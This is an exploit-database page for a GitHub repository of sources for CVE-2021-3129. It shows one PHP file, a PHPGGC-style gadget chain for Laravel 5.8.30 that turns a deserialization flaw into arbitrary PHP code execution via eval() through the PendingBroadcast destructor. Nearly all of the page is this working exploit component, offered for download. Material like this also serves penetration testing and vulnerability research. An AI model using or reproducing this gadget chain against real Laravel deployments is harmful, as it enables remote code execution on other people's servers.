Exploit databaseDownload repository ZIP
GH-16376e4357f06350aba70a4970a8d451
shadowabi/laravel-cve-2021-3129
Sources for CVE-2021-3129
36 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
shadowabi/laravel-cve-2021-3129Revision 65bcf17e1ccb
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
gadgetchains/Laravel/RCE/5/chain.php
PHP · 559 bytes<?php
namespace GadgetChain\Laravel;
class RCE5 extends \PHPGGC\GadgetChain\RCE\PHPCode
{
public static $version = '5.8.30';
public static $vector = '__destruct';
public static $author = 'Phith0n';
public static $information = '
Executes given PHP code through eval().
Requires Mockery, which is in the require-dev package.
';
public function generate(array $parameters)
{
$code = '<?php ' . $parameters['code'] . ' exit; ?>';
return new \Illuminate\Broadcasting\PendingBroadcast($code);
}
}